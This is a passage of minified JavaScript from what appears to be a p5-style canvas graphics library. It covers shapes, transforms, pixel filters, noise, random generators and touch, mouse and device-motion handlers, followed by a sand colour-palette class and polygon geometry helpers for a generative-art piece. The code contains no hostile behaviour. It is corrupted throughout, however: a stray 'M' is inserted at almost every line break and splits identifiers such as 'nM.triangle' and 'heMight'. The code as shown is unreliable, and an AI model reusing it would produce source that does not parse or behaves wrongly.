are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
